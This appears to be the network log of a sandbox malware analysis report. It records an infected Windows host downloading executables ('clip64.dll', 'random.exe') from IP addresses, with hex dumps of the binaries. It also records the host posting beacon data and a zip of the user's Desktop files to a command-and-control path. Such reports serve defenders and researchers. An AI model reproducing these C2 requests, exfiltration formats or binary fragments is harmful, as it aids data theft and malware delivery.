69 63 68 6e 33 8a 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 15 bf bb 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 dc 04 00 00 aa 01 00 00 00 00 00 00 50 4b 00 00 10 00 00 00 f0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4b 00 00 04 00 00 4a 61 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 70 06 00 6a 00 00 00 00 60 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 3b 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 3b 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 06 00 00 10 00 00 00 d6 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 60 06 00 00 02 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 06 00 00 02 00 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 80 06 00 00 02 00 00 00 ea 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 62 75 70 79 62 6b 65 00 00 1a 00 00 40 31 00 00 fe 19 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6a 78 71 61 69 64 73 00 10 00 00 00 40 4b 00 00 06 00 00 00 ea 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4b 00 00 22 00 00 00 f0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$Rn3@n3@n3@5[A`3@5[A3@^A\|3@^Az3@^A3@5[Az3@5[A}3@n3@3@]Ao3@]u@o3@]Ao3@Richn3@PELePK@KJa@Vpj`;K;K P@.rsrc`@.idata p@ @fbupybke@1@ejxqaids@K@.taggant0PK"@
Apr 19, 2024 03:29:04.311096907 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 19, 2024 03:29:04.311115026 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 19, 2024 03:29:04.311134100 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 19, 2024 03:29:04.311151028 CEST	1289	IN	Data Raw: 27 19 9d c9 97 74 a1 fa 2a 90 cc 86 87 6a 55 58 a8 e8 51 83 27 40 40 54 96 59 fd 4a 1f ed 5d d2 47 cc 4d 60 4f b7 6c 2a d8 d1 15 fa 4c 08 b2 8a 27 59 ad 66 28 97 2d e2 8f 20 97 9e 10 0a a2 82 36 6f 21 13 50 00 76 5e 6f 9c 8d a2 2b d1 2c 4a 67 e9 Data Ascii: 'tjUXQ'@@TYJ]GM`OlL'Yf(- 6o!Pv^o+,Jg=R>:uVoS?dE(j=J")&(b(1zGRWg(mA(S+cPf'X"Kp76%^g5b9Q}c(L=2&Oc3Y)9h=mb;c?,z
Apr 19, 2024 03:29:04.311170101 CEST	1289	IN	Data Raw: bc 12 63 86 98 98 a8 86 1e ae f2 73 58 03 eb 03 e2 3c 2e ce 49 50 0f 66 30 68 e9 08 0b 3a 33 ca 4c 41 b2 58 39 a0 a7 94 8e 21 92 9a 7e 7d ad 47 8d 25 c5 c7 0f 40 2a e1 15 96 54 40 a6 b5 72 94 89 0b 0a 5c 49 79 2a 6d 68 ce 9b 80 06 9f 44 92 91 21 Data Ascii: csX<.IPf0h:3LAX9!~}G%@T@r\IymhD!#1c,~o=zm$rYJ[~\$.]TP!#,o(lEP ,ZNT?d'],]B5MP-KftJpVt=<pJ]
Apr 19, 2024 03:29:04.311189890 CEST	1289	IN	Data Raw: ff c3 89 cd 80 46 3d c2 5c 0e 66 28 2a 21 89 2c 25 d3 57 b0 5d 74 59 59 19 97 18 61 a9 1a 51 98 91 9e 2d 4f 7f b5 a8 50 7f 99 0f 86 bc bc b7 bf 1b df 93 3a c2 97 8a a7 41 1e 0d 40 0d f7 65 f0 04 21 89 9a e9 46 2a a2 13 ca 38 de c2 4d a3 c8 82 c5 Data Ascii: F=\f(!,%W]tYYaQ-OP:A@e!F8Mxy!Y./Z,#qkSTt-''L3-6F/mN]5/)t1vqJVo)2[k;Opm~Xd^:{tMPJ%]v'l,8.}ZSd
Apr 19, 2024 03:29:04.311207056 CEST	1289	IN	Data Raw: 15 0c 80 5f 8c 8c 83 87 40 00 b0 65 86 a3 1e af e5 4d 4c 25 f9 4b 33 20 41 11 ae 1d 69 5a 49 f9 8f 0f 9f 58 47 11 c3 21 54 99 4a 57 45 42 41 5f 3e ba 51 57 45 5b 51 48 03 c1 5f a6 e6 e3 4b 2c 4a 5d b1 e7 c9 7d 40 fe 32 c9 41 20 29 68 42 59 50 f8 Data Ascii: _@eML%K3 AiZIXG!TJWEBA_>QWE[QH_K,J]}@2A )hBYPY4m\\|HRY/NF`\|#Y_uHkY0/%ddF>mL:,T<Kq4O\|>PJxpfQ-{7'jLtlVB5
Apr 19, 2024 03:29:04.311223984 CEST	1289	IN	Data Raw: c8 cc 7d 6f 57 c9 01 8a 8d 59 53 2a 36 b7 6f 8d 1d 5b b8 1d aa 34 40 c1 8f 7a c9 fc 54 18 b0 84 1d 51 0d 42 55 2f 34 65 07 17 d2 cf 81 a1 25 34 6d 5a d5 4c db f8 bb 7b a6 74 9b a7 30 60 c1 3c 72 44 be 4d 2f d3 11 ed 3d e7 4c 7b 0f 4d b4 aa db 14 Data Ascii: }oWYS6o[4@zTQBU/4e%4mZL{t0`<rDM/=L{M&Ks!a"WBY/SOJ/ ")$"jhn<a&Gr:2MR0:0/YgLGb(c-ipH@ EcZ6aT>hM(t'S+EUXxGPg
Apr 19, 2024 03:29:04.311242104 CEST	1289	IN	Data Raw: 93 82 4d cf 49 a5 4b 0d 30 46 71 2b b4 e3 d5 fc 94 3c ba 3a 14 e9 8c 85 b4 52 8a cf 89 1d c5 e8 4b 92 53 87 c4 96 52 15 85 91 4c 90 2e 42 5a 10 55 3d 2d 2a 0f e8 2c 81 05 21 3b 0a bf 2a 47 44 46 5b b7 0d 90 37 4a c2 8a 4d 6d 4c cb fd 3e d5 73 5d Data Ascii: MIK0Fq+<:RKSRL.BZU=-,!;GDF[7JMmL>s][:V+5OW\|~V:6,d97J]fI$J[#YnI_A0 ^4pd@!cdNZ)$MVJ# Ja%T9K9-pLd`4KP
Apr 19, 2024 03:29:04.554708958 CEST	1289	IN	Data Raw: 85 81 e7 57 d4 88 52 40 1f c3 87 6a 66 94 4d c4 ac d2 53 5b 72 7a 14 08 66 a8 5d 84 31 e6 5e 20 2e 5a 47 98 4a 94 71 53 89 b8 2a 5a 15 b7 4d ad 26 b4 18 74 53 d3 d7 a1 b9 5a be 91 97 57 01 6a 77 98 7c 8a 3d 8e 4d 78 40 76 17 68 bf 7a 3e 59 35 65 Data Ascii: WR@jfMS[rzf]1^ .ZGJqSZM&tSZWjw\|=Mx@vhz>Y5e:j>AtEm"e;+t2"f@D [Pon_?VOU+M3Ky-kUc2:F!qtW(D`p)a@v$,&r)pZl6T*SD7/3NcpGW[H3X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49716	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:06.864746094 CEST	69	OUT	GET /Pneh2sXQk0/Plugins/clip64.dll HTTP/1.1 Host: 193.233.132.56
Apr 19, 2024 03:29:07.115953922 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:06 GMT Content-Type: application/octet-stream Content-Length: 112128 Last-Modified: Sun, 03 Mar 2024 11:54:32 GMT Connection: keep-alive ETag: "65e464f8-1b600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 f6 04 b3 63 97 6a e0 63 97 6a e0 63 97 6a e0 38 ff 69 e1 69 97 6a e0 38 ff 6f e1 eb 97 6a e0 38 ff 6e e1 71 97 6a e0 b6 fa 6e e1 6c 97 6a e0 b6 fa 69 e1 72 97 6a e0 b6 fa 6f e1 42 97 6a e0 38 ff 6b e1 64 97 6a e0 63 97 6b e0 02 97 6a e0 f8 f9 63 e1 60 97 6a e0 f8 f9 6a e1 62 97 6a e0 f8 f9 95 e0 62 97 6a e0 f8 f9 68 e1 62 97 6a e0 52 69 63 68 63 97 6a e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6a 12 e4 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 24 01 00 00 9a 00 00 00 00 00 00 ec 66 00 00 00 10 00 00 00 40 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 02 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 20 a1 01 00 9c 00 00 00 bc a1 01 00 50 00 00 00 00 d0 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 d4 14 00 00 f0 8f 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 90 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 36 23 01 00 00 10 00 00 00 24 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 69 00 00 00 40 01 00 00 6a 00 00 00 28 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 1c 17 00 00 00 b0 01 00 00 0c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 d0 01 00 00 02 00 00 00 9e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 14 00 00 00 e0 01 00 00 16 00 00 00 a0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$'cjcjcj8iij8oj8nqjnljirjoBj8kdjckjc`jjbjbjhbjRichcjPELje!$f@@ P8(@@L.text6#$ `.rdata4i@j(@@.data@.rsrc@@.reloc@B
Apr 19, 2024 03:29:07.115993023 CEST	1289	IN	Data Raw: 00 00 6a 20 68 08 8d 01 10 b9 60 b8 01 10 e8 0f 44 00 00 68 e0 2c 01 10 e8 7d 51 00 00 59 c3 cc cc cc 6a 20 68 2c 8d 01 10 b9 78 b8 01 10 e8 ef 43 00 00 68 40 2d 01 10 e8 5d 51 00 00 59 c3 cc cc cc 6a 14 68 50 8d 01 10 b9 90 b8 01 10 e8 cf 43 00 Data Ascii: j h`Dh,}QYj h,xCh@-]QYjhPCh-=QYjhhCh.QYjhCh`.PYjhoCh.PYjhOCh /PYjh/C
Apr 19, 2024 03:29:07.116034985 CEST	1289	IN	Data Raw: ff ff 50 c7 85 9c fb ff ff 0f 00 00 00 c6 85 88 fb ff ff 00 e8 00 3f 00 00 c6 45 fc 06 8d b5 88 fb ff ff 83 bd 9c fb ff ff 10 8b bd 88 fb ff ff 8b 95 e8 fb ff ff 0f 43 f7 8b 85 ec fb ff ff 8b 8d 98 fb ff ff 2b c2 89 b5 b0 fb ff ff 89 95 ac fb ff Data Ascii: P?EC+Q;wCCPs VQTDEr+Hr#+QW9H
Apr 19, 2024 03:29:07.116075039 CEST	1289	IN	Data Raw: a1 50 b9 01 10 41 81 f9 00 10 00 00 72 16 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 0f 87 ef 00 00 00 8b c2 51 50 e8 f7 43 00 00 83 c4 08 c7 05 60 b9 01 10 00 00 00 00 c7 05 64 b9 01 10 0f 00 00 00 c6 05 50 b9 01 10 00 0f 10 06 0f 11 05 50 b9 01 Data Ascii: PArP#+QPC`dPP~Ff`FFUr(MBrI#+wzRQCEUEEEr(MBrI#+w1RQ;CtuZ
Apr 19, 2024 03:29:07.116141081 CEST	1289	IN	Data Raw: 00 00 c6 06 00 c7 45 fc 00 00 00 00 0f 57 c0 66 0f d6 45 e4 c7 45 ec 00 00 00 00 68 00 04 00 00 c7 45 d0 01 00 00 00 c7 45 e4 00 00 00 00 c7 45 e8 00 00 00 00 c7 45 ec 00 00 00 00 e8 09 3f 00 00 8b f8 b9 00 01 00 00 83 c8 ff 89 7d e4 83 c4 04 8d Data Ascii: EWfEEhEEEE?}UUE3EB@\|E3M3U_9PvxErEt\xFNU;Ns~AFrDuEuQ
Apr 19, 2024 03:29:07.116179943 CEST	1289	IN	Data Raw: 00 00 89 4d cc c6 06 00 bb 01 00 00 00 33 ff 89 5d d0 85 c9 0f 8e e4 00 00 00 0f 1f 40 00 c7 45 e4 00 00 00 00 c7 45 e8 0f 00 00 00 c6 45 d4 00 3b c7 0f 82 14 01 00 00 2b c7 b9 02 00 00 00 3b c1 0f 42 c8 83 7d 1c 10 8d 45 08 0f 43 45 08 51 03 c7 Data Ascii: M3]@EEE;+;B}ECEQMP/]EE}jCEjPvNV];sAFrDuEuQ2EUr(MBrI#+wpRQ(9;}}
Apr 19, 2024 03:29:07.116220951 CEST	1289	IN	Data Raw: 45 fc 00 00 00 00 8d 4d c0 6a 24 68 50 8e 01 10 c7 45 d0 00 00 00 00 c7 45 d4 0f 00 00 00 c6 45 c0 00 e8 ce 2a 00 00 c6 45 fc 01 8b 45 18 85 c0 75 07 33 f6 e9 dc 00 00 00 33 ff 85 c0 0f 84 cd 00 00 00 66 90 c7 45 e8 00 00 00 00 c7 45 ec 0f 00 00 Data Ascii: EMj$hPEEEEEu33fEEE;u+;B}ECEQMPsEEePN(EEP7(E0EUr,MBrI#+
Apr 19, 2024 03:29:07.116267920 CEST	1289	IN	Data Raw: 89 0d 00 00 00 00 59 5f 5e 8b e5 5d c3 e8 ea 68 00 00 cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 20 2b 01 10 64 a1 00 00 00 00 50 83 ec 40 a1 08 b0 01 10 33 c5 89 45 f0 56 50 8d 45 f4 64 a3 00 00 00 00 83 ec 18 c7 45 fc 01 00 00 00 8b cc 89 Data Ascii: Y_^]hUjh +dP@3EVPEdEejhxAA{%EE ePV#EEPD#ME(0EEeP##EjhAA%Ed0
Apr 19, 2024 03:29:07.116308928 CEST	1289	IN	Data Raw: 10 f3 0f 7e 46 10 66 0f d6 05 90 b9 01 10 c7 46 10 00 00 00 00 c7 46 14 0f 00 00 00 c6 06 00 8b 55 cc 83 fa 10 72 2c 8b 4d b8 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 aa 12 00 00 52 51 e8 a5 2a 00 00 83 c4 Data Ascii: ~FfFFUr,MBrI#+RQ*uEePlEjhAAV E0EEEHE;0+;B}ECEMVP r.ArP
Apr 19, 2024 03:29:07.116352081 CEST	1289	IN	Data Raw: c4 30 c7 45 c8 00 00 00 00 c7 45 cc 0f 00 00 00 c6 45 b8 00 8d 48 ff b8 b0 b9 01 10 39 0d c0 b9 01 10 0f 42 0d c0 b9 01 10 83 3d c4 b9 01 10 10 51 0f 43 05 b0 b9 01 10 8d 4d b8 50 e8 99 1b 00 00 8b 0d c4 b9 01 10 83 f9 10 72 2e a1 b0 b9 01 10 41 Data Ascii: 0EEEH9B=QCMPr.ArP#+wQPu%EU~EMfAA9B=RCPMt\|
Apr 19, 2024 03:29:07.366782904 CEST	1289	IN	Data Raw: fa 10 72 2c 8b 4d b8 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 d4 08 00 00 52 51 e8 b6 20 00 00 83 c4 08 83 ec 18 8b cc 89 65 d4 68 78 b8 01 10 e8 7f 14 00 00 83 ec 18 c6 45 fc 12 8b cc 68 c8 b9 01 10 e8 6c Data Ascii: r,MBrI#+RQ ehxEhlME0t\|r.ArP#+dQP? ~FfFFUr,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49717	193.233.132.56	80	3356	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:07.505716085 CEST	176	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Apr 19, 2024 03:29:07.749847889 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:17.858675003 CEST	172	OUT	POST /Pneh2sXQk0/index.php?wal=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----NDYyMQ== Host: 193.233.132.56 Content-Length: 4781 Cache-Control: no-cache
Apr 19, 2024 03:29:17.858675003 CEST	140	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4e 44 59 79 4d 51 3d 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------NDYyMQ==Content-Disposition: form-data; name="data"; filename="246122658369_Desktop.zip"Content-Type: application/octet-stream
Apr 19, 2024 03:29:17.858720064 CEST	8	OUT	Data Raw: 50 4b 03 04 14 00 00 00 Data Ascii: PK
Apr 19, 2024 03:29:17.858741045 CEST	8	OUT	Data Raw: 08 00 1d 82 44 57 19 a3 Data Ascii: DW
Apr 19, 2024 03:29:17.858772039 CEST	8	OUT	Data Raw: 19 73 86 02 00 00 02 04 Data Ascii: s
Apr 19, 2024 03:29:17.858858109 CEST	8	OUT	Data Raw: 00 00 17 00 00 00 5f 46 Data Ascii: _F
Apr 19, 2024 03:29:17.858858109 CEST	8	OUT	Data Raw: 69 6c 65 73 5f 5c 42 4a Data Ascii: iles_\BJ
Apr 19, 2024 03:29:17.858858109 CEST	8	OUT	Data Raw: 5a 46 50 50 57 41 50 54 Data Ascii: ZFPPWAPT
Apr 19, 2024 03:29:17.858858109 CEST	8	OUT	Data Raw: 2e 64 6f 63 78 15 93 49 Data Ascii: .docxI
Apr 19, 2024 03:29:17.858905077 CEST	8	OUT	Data Raw: 8e 40 21 08 44 f7 9d f4 Data Ascii: @!D
Apr 19, 2024 03:29:17.858905077 CEST	8	OUT	Data Raw: a1 10 bf 38 82 f3 74 ff Data Ascii: 8t
Apr 19, 2024 03:29:18.137715101 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49718	193.233.132.56	80	1164	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:08.315222025 CEST	159	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Apr 19, 2024 03:29:08.573810101 CEST	719	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 31 30 0d 0a 20 2b 2b 2b 5f 31 5f 61 30 31 39 39 36 36 34 31 64 61 32 63 61 66 38 66 32 30 61 30 39 62 65 64 64 31 65 32 38 61 62 64 30 31 66 62 61 35 35 64 66 32 33 63 61 61 61 62 33 62 62 37 62 65 65 61 39 66 62 62 35 31 61 36 38 62 64 65 35 36 61 36 30 37 31 38 62 37 33 63 34 30 64 2d 31 2d 5f 32 5f 66 32 30 32 39 66 32 63 32 62 66 64 38 34 63 62 61 30 35 30 35 61 66 35 39 62 30 63 37 63 39 61 38 36 34 36 65 66 31 33 38 66 32 65 62 61 66 34 66 66 62 31 37 62 64 66 61 66 61 66 65 32 36 65 33 39 65 66 62 36 33 31 32 37 32 34 66 64 37 66 63 33 37 65 2d 32 2d 5f 33 5f 38 65 31 65 66 65 36 36 31 65 39 39 63 32 62 38 61 62 30 39 33 62 66 37 66 37 32 33 30 37 38 62 63 30 34 61 62 34 34 35 64 61 32 63 38 61 66 39 61 63 66 61 30 62 64 38 66 35 66 30 62 61 31 62 34 35 66 38 2d 33 2d 5f 34 5f 38 36 33 38 63 64 36 66 30 38 61 38 64 39 62 64 62 30 30 66 30 32 38 38 66 63 30 66 31 63 39 38 66 66 37 35 62 39 36 61 62 63 36 63 61 35 66 39 62 61 65 32 32 63 64 37 65 34 64 34 39 35 34 62 36 33 65 38 2d 34 2d 5f 35 5f 66 36 34 38 64 64 37 37 33 34 38 33 38 35 65 31 62 66 30 30 35 65 61 64 65 39 33 65 30 37 65 38 64 62 35 66 39 38 34 61 62 63 32 61 62 62 39 65 38 62 66 65 30 36 66 31 64 61 63 33 65 30 35 30 33 39 63 35 66 32 34 37 34 61 37 66 66 32 36 36 61 30 37 30 64 37 38 63 34 61 62 66 63 61 61 62 64 63 30 66 62 30 66 65 65 30 33 39 39 33 33 39 61 36 65 32 35 61 34 61 31 63 34 32 31 36 63 39 65 35 33 37 31 63 39 32 61 32 38 66 36 35 30 35 38 38 31 37 32 66 35 62 35 30 36 62 39 37 36 33 39 64 65 32 38 31 30 65 31 66 35 36 37 31 38 35 32 35 63 31 62 66 65 39 65 38 39 39 30 66 2d 35 2d 0d 0a 30 0d 0a 0d 0a Data Ascii: 210 +++_1_a01996641da2caf8f20a09bedd1e28abd01fba55df23caaab3bb7beea9fbb51a68bde56a60718b73c40d-1-_2_f2029f2c2bfd84cba0505af59b0c7c9a8646ef138f2ebaf4ffb17bdfafafe26e39efb6312724fd7fc37e-2-_3_8e1efe661e99c2b8ab093bf7f723078bc04ab445da2c8af9acfa0bd8f5f0ba1b45f8-3-_4_8638cd6f08a8d9bdb00f0288fc0f1c98ff75b96abc6ca5f9bae22cd7e4d4954b63e8-4-_5_f648dd77348385e1bf005eade93e07e8db5f984abc2abb9e8bfe06f1dac3e05039c5f2474a7ff266a070d78c4abfcaabdc0fb0fee0399339a6e25a4a1c4216c9e5371c92a28f650588172f5b506b97639de2810e1f56718525c1bfe9e8990f-5-0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49719	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:11.518091917 CEST	186	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000054001&unit=246122658369
Apr 19, 2024 03:29:11.769224882 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49720	193.233.132.167	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:12.018898964 CEST	56	OUT	GET /mine/random.exe HTTP/1.1 Host: 193.233.132.167
